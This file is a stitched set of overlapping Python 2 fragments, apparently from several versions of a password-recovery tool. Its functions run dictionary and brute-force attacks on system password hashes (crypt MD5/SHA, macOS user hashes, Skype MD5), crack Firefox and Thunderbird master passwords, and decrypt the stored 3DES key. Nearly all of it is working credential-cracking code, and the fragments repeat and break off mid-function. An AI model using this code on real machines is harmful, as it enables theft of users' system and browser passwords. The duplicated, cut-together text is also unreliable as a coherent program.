def attack(self, user, cryptPwd): # By default 500 most famous passwords are used for the dictionary attack dic = get_dico() # add the user on the list to found weak password (login equal password) dic.insert(0, user) # file for dictionary attack entered if constant.path: if os.path.exists(constant.path): dic = self.get_dic(constant.path) else: print_debug('WARNING', 'The file does not exist: %s' % str(constant.path)) # Different possible hash type # ID | Method # -------------------------------------------------------------------------- # 1 | MD5 # 2 | Blowfish (not in mainline glibc; added in some Linux distributions) # 5 | SHA-256 (since glibc 2.7) # 6 | SHA-512 (since glibc 2.7) hashType = cryptPwd.split("$")[1] values = {'Category': 'System Account'} if hashType == '1': # MD5 print_debug('INFO', '[+] Hash type MD5 detected ...') elif hashType == '2': print_debug('INFO', '[+] Hash type Blowfish detected ...') elif hashType == '5': print_debug('INFO', '[+] Hash type SHA-256 detected ...') elif hashType == '6': # ShA-512 => used by all modern computers print_debug('INFO', '[+] Hash type SHA-512 detected ...') salt = cryptPwd.split("$")[2] realSalt = "$" + hashType + "$" + salt + "$" # -------------------------- Dictionary attack -------------------------- print_debug('INFO', 'Dictionary Attack on the hash !!! ') try: for word in dic: try: cryptWord = crypt.crypt(word, realSalt) except Exception, e: print_debug('DEBUG', '{0}'.format(e)) cryptWord = '' if cryptWord == cryptPwd: values['User'] = user values['password'] = word self.pwdFound.append(values) return except (KeyboardInterrupt, SystemExit): print 'INTERRUPTED!' print_debug('DEBUG', 'Dictionary attack interrupted') except Exception, e: print_debug('DEBUG', '{0}'.format(e))
def attack(self, user, cryptPwd): # By default 500 most famous passwords are used for the dictionary attack dic = get_dico() # add the user on the list to found weak password (login equal password) dic.insert(0, user) # file for dictionary attack entered if constant.path: if os.path.exists(constant.path): dic = self.get_dic(constant.path) else: print_debug('WARNING', 'The file does not exist: %s' % str(constant.path)) # Different possible hash type # ID | Method # -------------------------------------------------------------------------- # 1 | MD5 # 2 | Blowfish (not in mainline glibc; added in some Linux distributions) # 5 | SHA-256 (since glibc 2.7) # 6 | SHA-512 (since glibc 2.7) hashType = cryptPwd.split("$")[1] values = {'Category': 'System Account'} if hashType == '1': # MD5 print_debug('INFO', '[+] Hash type MD5 detected ...') elif hashType == '2': print_debug('INFO', '[+] Hash type Blowfish detected ...') elif hashType == '5': print_debug('INFO', '[+] Hash type SHA-256 detected ...') elif hashType == '6': # ShA-512 => used by all modern computers print_debug('INFO', '[+] Hash type SHA-512 detected ...') salt = cryptPwd.split("$")[2] realSalt = "$" + hashType + "$" + salt + "$" # -------------------------- Dictionary attack -------------------------- print_debug('INFO', 'Dictionary Attack on the hash !!! ') try: for word in dic: try: cryptWord = crypt.crypt(word, realSalt) except Exception,e: print_debug('DEBUG', '{0}'.format(e)) cryptWord = '' if cryptWord == cryptPwd: values['User'] = user values['password'] = word self.pwdFound.append(values) return except (KeyboardInterrupt, SystemExit): print 'INTERRUPTED!' print_debug('DEBUG', 'Dictionary attack interrupted') except Exception,e: print_debug('DEBUG', '{0}'.format(e))
def dictionary_attack(self, login, md5): wordlist = get_dico() # if the user specify the file path if constant.path: wordlist += self.get_dic_file(constant.path) for word in wordlist: hash = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest() if hash == md5: return word return False
def __init__(self): self.wordlist = get_dico() + constant.passwordFound options = { 'command': '--hashes', 'action': 'store_true', 'dest': 'hashes', 'help': 'retrieve system hashes' } ModuleInfo.__init__(self, 'hashes', 'windows', options, need_system_privileges=True)
def found_masterpassword(self): # 500 most used passwords wordlist = get_dico() + constant.passwordFound num_lines = (len(wordlist)-1) print_debug('ATTACK', u'%d most used passwords !!! ' % num_lines) for word in wordlist: if self.is_masterpassword_correct(word)[0]: print_debug('FIND', u'Master password found: {master_password}'.format(master_password=word.strip())) return word print_debug('WARNING', u'No password has been found using the default list') return False
def run(self, software_name=None): userhashes = [] if self.root_access(): major, minor = self.check_version() if major == 10 and (minor == 3 or minor == 4): for user in self.list_users(): print_debug('INFO', 'User found: %s' % user) userhash = self.get_user_hash_using_niutil(user) if userhash: userhashes.append(userhash) if major == 10 and (minor == 5 or minor == 6): for user in self.list_users(): print_debug('INFO', 'User found: %s' % user) userhash = self.get_user_hash_using_dscl(user) if userhash: userhashes.append(userhash) # TO DO: manage version 10.7 elif major == 10 and minor >= 8: usernames = [ plist.split(".")[0] for plist in os.listdir( u'/var/db/dslocal/nodes/Default/users/') if not plist.startswith(u'_') ] for username in usernames: userhash = self.get_user_hash_from_plist(username) if userhash: userhashes.append(userhash) # try to get the password in cleartext passwords = constant.passwordFound # check if passwords found in other applications are also used as system password passwords.insert( 0, username ) # add the user on the list to found weak password (login equal password) if constant.user_password: passwords.insert(0, constant.user_password) found = self.dictionary_attack(username, passwords) # realize a dictionary attack using the 500 most famous passwords if constant.dictionary_attack and not found: dic = get_dico() dic.insert(0, self.username) self.dictionary_attack(username, dic) return ['__SYSTEM__', userhashes]
def dictionary_attack(self, user, cryptPwd): dic = get_dico( ) # By default 500 most famous passwords are used for the dictionary attack dic.insert( 0, user ) # Add the user on the list to found weak password (login equal password) # Different possible hash type # ID | Method # -------------------------------------------------------------------------- # 1 | MD5 # 2 | Blowfish (not in mainline glibc; added in some Linux distributions) # 5 | SHA-256 (since glibc 2.7) # 6 | SHA-512 (since glibc 2.7) hash_type = cryptPwd.split("$")[1] hash_algo = { '1': 'MD5', '2': 'Blowfish', '5': 'SHA-256', '6': 'SHA-512', # Used by all modern computers } # For Debug information for h_type in hash_algo: if h_type == hash_type: print_debug( 'DEBUG', '[+] Hash type {algo} detected ...'.format( algo=hash_algo[h_type])) salt = cryptPwd.split("$")[2] realSalt = '${hash_type}${salt}$'.format(hash_type=hash_type, salt=cryptPwd.split("$")[2]) # -------------------------- Dictionary attack -------------------------- print_debug('INFO', 'Dictionary Attack on the hash !!! ') try: for word in dic: try: cryptWord = crypt.crypt(word, realSalt) if cryptWord == cryptPwd: return {'Login': user, 'Password': word} except Exception as e: pass except (KeyboardInterrupt, SystemExit): print_debug('DEBUG', u'Dictionary attack interrupted') return False
def found_master_password(self, key_data, new_version=True): """ Try to found master_password doing a dictionary attack using the 500 most used passwords """ wordlist = constant.passwordFound + get_dico() num_lines = (len(wordlist) - 1) print_debug('ATTACK', u'%d most used passwords !!! ' % num_lines) for word in wordlist: globalSalt, master_password, entrySalt = self.is_master_password_correct(key_data=key_data, master_password=word.strip(), new_version=new_version) if master_password: print_debug('INFO', u'Master password found: {master_password}'.format(master_password=master_password)) return globalSalt, master_password, entrySalt print_debug('WARNING', u'No password has been found using the default list') return ('', '', '')
def brute_master_password(self, key_data, new_version=True): """ Try to find master_password doing a dictionary attack using the 500 most used passwords """ wordlist = constant.passwordFound + get_dico() num_lines = (len(wordlist) - 1) self.info(u'%d most used passwords !!! ' % num_lines) for word in wordlist: global_salt, master_password, entry_salt = self.is_master_password_correct( key_data=key_data, master_password=word.strip(), new_version=new_version) if master_password: self.debug( u'Master password found: {}'.format(master_password)) return global_salt, master_password, entry_salt self.warning(u'No password has been found using the default list') return '', '', ''
class Mozilla(ModuleInfo): # b = brute force attack # m = manually # d = default list # a = dictionary attack def __init__(self, isThunderbird=False): self.credentials_categorie = None self.toCheck = [] self.manually_pass = None self.dictionary_path = None self.number_toStop = None self.key3 = '' # Manage options suboptions = [{ 'command': '-m', 'action': 'store', 'dest': 'manually', 'help': 'enter the master password manually', 'title': 'Advanced Mozilla master password options' }, { 'command': '-s', 'action': 'store', 'dest': 'specific_path', 'help': 'enter the specific path to a profile you want to crack', 'title': 'Advanced Mozilla master password options' }] if not isThunderbird: options = { 'command': '-f', 'action': 'store_true', 'dest': 'firefox', 'help': 'firefox' } ModuleInfo.__init__(self, 'firefox', 'browsers', options, suboptions, need_to_be_in_env=False) else: options = { 'command': '-t', 'action': 'store_true', 'dest': 'thunderbird', 'help': 'thunderbird' } ModuleInfo.__init__(self, 'thunderbird', 'browsers', options, suboptions, need_to_be_in_env=False) def get_path(self, software_name): path = '' if software_name == 'Firefox': path = u'%s\Mozilla\Firefox' % constant.profile['APPDATA'] elif software_name == 'Thunderbird': path = u'%s\Thunderbird' % constant.profile['APPDATA'] return path def manage_advanced_options(self): if constant.manually: self.manually_pass = constant.manually self.toCheck.append('m') if constant.path: self.dictionary_path = constant.path self.toCheck.append('a') if constant.bruteforce: self.number_toStop = int(constant.bruteforce) + 1 self.toCheck.append('b') # default attack if self.toCheck == []: self.toCheck = ['b', 'd'] self.number_toStop = 3 # -------------------------------------------- def getShortLE(self, d, a): return unpack('<H', (d)[a:a + 2])[0] def getLongBE(self, d, a): return unpack('>L', (d)[a:a + 4])[0] def printASN1(self, d, l, rl): type = ord(d[0]) length = ord(d[1]) if length & 0x80 > 0: #http://luca.ntop.org/Teaching/Appunti/asn1.html, nByteLength = length & 0x7f length = ord(d[2]) #Long form. Two to 127 octets. Bit 8 of first octet has value "1" and bits 7-1 give the number of additional length octets. skip = 1 else: skip = 0 if type == 0x30: seqLen = length readLen = 0 while seqLen > 0: len2 = self.printASN1(d[2 + skip + readLen:], seqLen, rl + 1) seqLen = seqLen - len2 readLen = readLen + len2 return length + 2 elif type == 6: #OID return length + 2 elif type == 4: #OCTETSTRING return length + 2 elif type == 5: #NULL # print 0 return length + 2 elif type == 2: #INTEGER return length + 2 else: if length == l - 2: self.printASN1(d[2:], length, rl + 1) return length #extract records from a BSD DB 1.85, hash mode def readBsddb(self, name): f = open(name, 'rb') #http://download.oracle.com/berkeley-db/db.1.85.tar.gz header = f.read(4 * 15) magic = self.getLongBE(header, 0) if magic != 0x61561: print_debug('WARNING', 'Bad magic number') return False version = self.getLongBE(header, 4) if version != 2: print_debug('WARNING', 'Bad version !=2 (1.85)') return False pagesize = self.getLongBE(header, 12) nkeys = self.getLongBE(header, 0x38) readkeys = 0 page = 1 nval = 0 val = 1 db1 = [] while (readkeys < nkeys): f.seek(pagesize * page) offsets = f.read((nkeys + 1) * 4 + 2) offsetVals = [] i = 0 nval = 0 val = 1 keys = 0 while nval != val: keys += 1 key = self.getShortLE(offsets, 2 + i) val = self.getShortLE(offsets, 4 + i) nval = self.getShortLE(offsets, 8 + i) offsetVals.append(key + pagesize * page) offsetVals.append(val + pagesize * page) readkeys += 1 i += 4 offsetVals.append(pagesize * (page + 1)) valKey = sorted(offsetVals) for i in range(keys * 2): f.seek(valKey[i]) data = f.read(valKey[i + 1] - valKey[i]) db1.append(data) page += 1 f.close() db = {} for i in range(0, len(db1), 2): db[db1[i + 1]] = db1[i] return db def decrypt3DES(self, globalSalt, masterPassword, entrySalt, encryptedData): #see http://www.drh-consultancy.demon.co.uk/key3.html hp = sha1(globalSalt + masterPassword).digest() pes = entrySalt + '\x00' * (20 - len(entrySalt)) chp = sha1(hp + entrySalt).digest() k1 = hmac.new(chp, pes + entrySalt, sha1).digest() tk = hmac.new(chp, pes, sha1).digest() k2 = hmac.new(chp, tk + entrySalt, sha1).digest() k = k1 + k2 iv = k[-8:] key = k[:24] return DES3.new(key, DES3.MODE_CBC, iv).decrypt(encryptedData) def extractSecretKey(self, globalSalt, masterPassword, entrySalt): (globalSalt, masterPassword, entrySalt) = self.is_masterpassword_correct(masterPassword) if unhexlify('f8000000000000000000000000000001') not in self.key3: return None privKeyEntry = self.key3[unhexlify('f8000000000000000000000000000001')] saltLen = ord(privKeyEntry[1]) nameLen = ord(privKeyEntry[2]) privKeyEntryASN1 = decoder.decode(privKeyEntry[3 + saltLen + nameLen:]) data = privKeyEntry[3 + saltLen + nameLen:] self.printASN1(data, len(data), 0) #see https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt entrySalt = privKeyEntryASN1[0][0][1][0].asOctets() privKeyData = privKeyEntryASN1[0][1].asOctets() privKey = self.decrypt3DES(globalSalt, masterPassword, entrySalt, privKeyData) self.printASN1(privKey, len(privKey), 0) privKeyASN1 = decoder.decode(privKey) prKey = privKeyASN1[0][2].asOctets() self.printASN1(prKey, len(prKey), 0) prKeyASN1 = decoder.decode(prKey) id = prKeyASN1[0][1] key = long_to_bytes(prKeyASN1[0][3]) print_debug('DEBUG', 'key: %s' % repr(key)) return key # -------------------------------------------- # Get the path list of the firefox profiles def get_firefox_profiles(self, directory): cp = RawConfigParser() try: cp.read(os.path.join(directory, 'profiles.ini')) except: return [] profile_list = [] for section in cp.sections(): if section.startswith('Profile'): if cp.has_option(section, 'Path'): profile_list.append( os.path.join(directory, cp.get(section, 'Path').strip())) return profile_list # ------------------------------ Master Password Functions ------------------------------ def is_masterpassword_correct(self, masterPassword=''): try: #see http://www.drh-consultancy.demon.co.uk/key3.html pwdCheck = self.key3['password-check'] entrySaltLen = ord(pwdCheck[1]) entrySalt = pwdCheck[3:3 + entrySaltLen] encryptedPasswd = pwdCheck[-16:] globalSalt = self.key3['global-salt'] cleartextData = self.decrypt3DES(globalSalt, masterPassword, entrySalt, encryptedPasswd) if cleartextData != 'password-check\x02\x02': return ('', '', '') return (globalSalt, masterPassword, entrySalt) except: return ('', '', '') # Retrieve masterpassword def found_masterpassword(self): # master password entered manually if 'm' in self.toCheck: print_debug('ATTACK', 'Check the password entered manually !') if self.is_masterpassword_correct(self.manually_pass)[0]: print_debug('FIND', 'Master password found: %s' % self.manually_pass) return self.manually_pass else: print_debug('WARNING', 'The Master password entered is not correct') # dictionary attack if 'a' in self.toCheck: try: pass_file = open(self.dictionary_path, 'r') num_lines = sum(1 for line in pass_file) except: print_debug( 'ERROR', 'Unable to open passwords file: %s' % str(self.dictionary_path)) return False pass_file.close() print_debug('ATTACK', 'Dictionary Attack !!! (%s words)' % str(num_lines)) try: with open(self.dictionary_path) as f: for p in f: if self.is_masterpassword_correct(p.strip())[0]: print_debug( 'FIND', 'Master password found: %s' % p.strip()) return p.strip() except (KeyboardInterrupt, SystemExit): print 'INTERRUPTED!' print_debug('DEBUG', 'Dictionary attack interrupted') except Exception, e: print_debug('DEBUG', '{0}'.format(e)) print_debug( 'WARNING', 'The Master password has not been found using the dictionary attack' ) # 500 most used passwords if 'd' in self.toCheck: wordlist = get_dico() + constant.passwordFound num_lines = (len(wordlist) - 1) print_debug('ATTACK', '%d most used passwords !!! ' % num_lines) for word in wordlist: if self.is_masterpassword_correct(word)[0]: print_debug('FIND', 'Master password found: %s' % word.strip()) return word print_debug('WARNING', 'No password has been found using the default list') # brute force attack if 'b' in self.toCheck or constant.bruteforce: charset_list = 'abcdefghijklmnopqrstuvwxyz1234567890!?' print_debug( 'ATTACK', 'Brute force attack !!! (%s characters)' % str(constant.bruteforce)) print_debug('DEBUG', 'charset: %s' % charset_list) try: for length in range(1, int(self.number_toStop)): words = product(charset_list, repeat=length) for word in words: print_debug('DEBUG', '%s' % ''.join(word)) if self.is_masterpassword_correct(''.join(word))[0]: w = ''.join(word) print_debug( 'FIND', 'Master password found: %s' % w.strip()) return w.strip() except (KeyboardInterrupt, SystemExit): print 'INTERRUPTED!' print_debug('INFO', 'Dictionary attack interrupted') except Exception, e: print_debug('DEBUG', '{0}'.format(e)) print_debug( 'WARNING', 'No password has been found using the brute force attack')
return p.strip() except (KeyboardInterrupt, SystemExit): print 'INTERRUPTED!' print_debug('DEBUG', 'Dictionary attack interrupted') except Exception, e: print_debug('DEBUG', '{0}'.format(e)) print_debug( 'WARNING', 'The Master password has not been found using the dictionary attack' ) # 500 most used passwords if 'd' in self.toCheck: wordlist = get_dico() + constant.passwordFound num_lines = (len(wordlist) - 1) print_debug('ATTACK', '%d most used passwords !!! ' % num_lines) for word in wordlist: if self.is_masterpassword_correct(word)[0]: print_debug('FIND', 'Master password found: %s' % word.strip()) return word print_debug('WARNING', 'No password has been found using the default list') # brute force attack if 'b' in self.toCheck or constant.bruteforce: charset_list = 'abcdefghijklmnopqrstuvwxyz1234567890!?'
def dictionary_attack(self, login, md5): for word in get_dico(): hash_ = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest() if hash_ == md5: return word return False
class Mozilla(ModuleInfo): # b = brute force attack # d = default list # a = dictionary attack def __init__(self, isThunderbird=False): # Default attack self.toCheck = ['b', 'd'] if not constant.path else ['a'] self.dictionary_path = constant.path self.number_toStop = 3 if not constant.bruteforce else int( constant.bruteforce) + 1 self.key3 = '' name = 'thunderbird' if isThunderbird else 'firefox' ModuleInfo.__init__(self, name=name, category='browsers') # -------------------------------------------- def getShortLE(self, d, a): return unpack('<H', (d)[a:a + 2])[0] def getLongBE(self, d, a): return unpack('>L', (d)[a:a + 4])[0] def printASN1(self, d, l, rl): type = ord(d[0]) length = ord(d[1]) if length & 0x80 > 0: # http://luca.ntop.org/Teaching/Appunti/asn1.html, nByteLength = length & 0x7f length = ord(d[2]) # Long form. Two to 127 octets. Bit 8 of first octet has value "1" and bits 7-1 give the number of additional length octets. skip = 1 else: skip = 0 if type == 0x30: seqLen = length readLen = 0 while seqLen > 0: len2 = self.printASN1(d[2 + skip + readLen:], seqLen, rl + 1) seqLen = seqLen - len2 readLen = readLen + len2 return length + 2 elif type == 6: # OID return length + 2 elif type == 4: # OCTETSTRING return length + 2 elif type == 5: # NULL # print 0 return length + 2 elif type == 2: # INTEGER return length + 2 else: if length == l - 2: self.printASN1(d[2:], length, rl + 1) return length #extract records from a BSD DB 1.85, hash mode def readBsddb(self, name): f = open(name, 'rb') #http://download.oracle.com/berkeley-db/db.1.85.tar.gz header = f.read(4 * 15) magic = self.getLongBE(header, 0) if magic != 0x61561: print_debug('WARNING', 'Bad magic number') return False version = self.getLongBE(header, 4) if version != 2: print_debug('WARNING', 'Bad version !=2 (1.85)') return False pagesize = self.getLongBE(header, 12) nkeys = self.getLongBE(header, 0x38) readkeys = 0 page = 1 nval = 0 val = 1 db1 = [] while (readkeys < nkeys): f.seek(pagesize * page) offsets = f.read((nkeys + 1) * 4 + 2) offsetVals = [] i = 0 nval = 0 val = 1 keys = 0 while nval != val: keys += 1 key = self.getShortLE(offsets, 2 + i) val = self.getShortLE(offsets, 4 + i) nval = self.getShortLE(offsets, 8 + i) offsetVals.append(key + pagesize * page) offsetVals.append(val + pagesize * page) readkeys += 1 i += 4 offsetVals.append(pagesize * (page + 1)) valKey = sorted(offsetVals) for i in range(keys * 2): f.seek(valKey[i]) data = f.read(valKey[i + 1] - valKey[i]) db1.append(data) page += 1 f.close() db = {} for i in range(0, len(db1), 2): db[db1[i + 1]] = db1[i] return db def decrypt3DES(self, globalSalt, masterPassword, entrySalt, encryptedData): #see http://www.drh-consultancy.demon.co.uk/key3.html hp = sha1(globalSalt + masterPassword).digest() pes = entrySalt + '\x00' * (20 - len(entrySalt)) chp = sha1(hp + entrySalt).digest() k1 = hmac.new(chp, pes + entrySalt, sha1).digest() tk = hmac.new(chp, pes, sha1).digest() k2 = hmac.new(chp, tk + entrySalt, sha1).digest() k = k1 + k2 iv = k[-8:] key = k[:24] return DES3.new(key, DES3.MODE_CBC, iv).decrypt(encryptedData) def extractSecretKey(self, globalSalt, masterPassword, entrySalt): (globalSalt, masterPassword, entrySalt) = self.is_masterpassword_correct(masterPassword) if unhexlify('f8000000000000000000000000000001') not in self.key3: return None privKeyEntry = self.key3[unhexlify('f8000000000000000000000000000001')] saltLen = ord(privKeyEntry[1]) nameLen = ord(privKeyEntry[2]) privKeyEntryASN1 = decoder.decode(privKeyEntry[3 + saltLen + nameLen:]) data = privKeyEntry[3 + saltLen + nameLen:] self.printASN1(data, len(data), 0) # see https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt entrySalt = privKeyEntryASN1[0][0][1][0].asOctets() privKeyData = privKeyEntryASN1[0][1].asOctets() privKey = self.decrypt3DES(globalSalt, masterPassword, entrySalt, privKeyData) self.printASN1(privKey, len(privKey), 0) privKeyASN1 = decoder.decode(privKey) prKey = privKeyASN1[0][2].asOctets() self.printASN1(prKey, len(prKey), 0) prKeyASN1 = decoder.decode(prKey) id = prKeyASN1[0][1] key = long_to_bytes(prKeyASN1[0][3]) print_debug('DEBUG', 'key: {key}'.format(key=repr(key))) return key # ------------------------------ Master Password Functions ------------------------------ def is_masterpassword_correct(self, masterPassword=''): try: # see http://www.drh-consultancy.demon.co.uk/key3.html pwdCheck = self.key3['password-check'] entrySaltLen = ord(pwdCheck[1]) entrySalt = pwdCheck[3:3 + entrySaltLen] encryptedPasswd = pwdCheck[-16:] globalSalt = self.key3['global-salt'] cleartextData = self.decrypt3DES(globalSalt, masterPassword, entrySalt, encryptedPasswd) if cleartextData != 'password-check\x02\x02': return ('', '', '') return (globalSalt, masterPassword, entrySalt) except: return ('', '', '') # Retrieve masterpassword def found_masterpassword(self): # Dictionary attack if 'a' in self.toCheck: try: pass_file = open(self.dictionary_path, 'r') num_lines = sum(1 for line in pass_file) except: print_debug( 'ERROR', 'Unable to open passwords file: {file_path}'.format( file_path=str(self.dictionary_path))) return False pass_file.close() print_debug( 'ATTACK', 'Dictionary Attack !!! ({nb_lines} words)'.format( nb_lines=num_lines)) try: with open(self.dictionary_path) as f: for p in f: if self.is_masterpassword_correct(p.strip())[0]: print_debug( 'FIND', 'Master password found: %s' % p.strip()) return p.strip() except (KeyboardInterrupt, SystemExit): print 'INTERRUPTED!' print_debug('DEBUG', 'Dictionary attack interrupted') except Exception, e: print_debug('DEBUG', '{exception}'.format(exception=e)) print_debug( 'WARNING', 'The Master password has not been found using the dictionary attack' ) # 500 most used passwords if 'd' in self.toCheck: wordlist = get_dico() + constant.passwordFound num_lines = (len(wordlist) - 1) print_debug('ATTACK', '%d most used passwords !!! ' % num_lines) for word in wordlist: if self.is_masterpassword_correct(word)[0]: print_debug( 'FIND', 'Master password found: {master_password}'.format( master_password=word.strip())) return word print_debug('WARNING', 'No password has been found using the default list') # Brute force attack if 'b' in self.toCheck or constant.bruteforce: charset_list = 'abcdefghijklmnopqrstuvwxyz1234567890!?' print_debug( 'ATTACK', 'Brute force attack !!! ({nb_characters} characters)'.format( nb_characters=str(constant.bruteforce))) print_debug('DEBUG', 'charset: {charset}'.format(charset=charset_list)) try: for length in range(1, int(self.number_toStop)): words = product(charset_list, repeat=length) for word in words: print_debug('DEBUG', '{word}'.format(word=word)) if self.is_masterpassword_correct(''.join(word))[0]: print_debug( 'FIND', 'Master password found: {master_password}'. format(master_password=word.strip())) return word.strip() except (KeyboardInterrupt, SystemExit): print 'INTERRUPTED!' print_debug('INFO', 'Dictionary attack interrupted') print_debug( 'WARNING', 'No password has been found using the brute force attack') return False
for p in f: if self.is_masterpassword_correct(p.strip())[0]: print_debug('FIND', 'Master password found: %s' % p.strip()) return p.strip() except (KeyboardInterrupt, SystemExit): print 'INTERRUPTED!' print_debug('DEBUG', 'Dictionary attack interrupted') except Exception,e: print_debug('DEBUG', '{0}'.format(e)) print_debug('WARNING', 'The Master password has not been found using the dictionary attack') # 500 most used passwords if 'd' in self.toCheck: wordlist = get_dico() + constant.passwordFound num_lines = (len(wordlist)-1) print_debug('ATTACK', '%d most used passwords !!! ' % num_lines) for word in wordlist: if self.is_masterpassword_correct(word)[0]: print_debug('FIND', 'Master password found: %s' % word.strip()) return word print_debug('WARNING', 'No password has been found using the default list') # brute force attack if 'b' in self.toCheck or constant.bruteforce: charset_list = 'abcdefghijklmnopqrstuvwxyz1234567890!?' print_debug('ATTACK', 'Brute force attack !!! (%s characters)' % str(constant.bruteforce)) print_debug('DEBUG', 'charset: %s' % charset_list)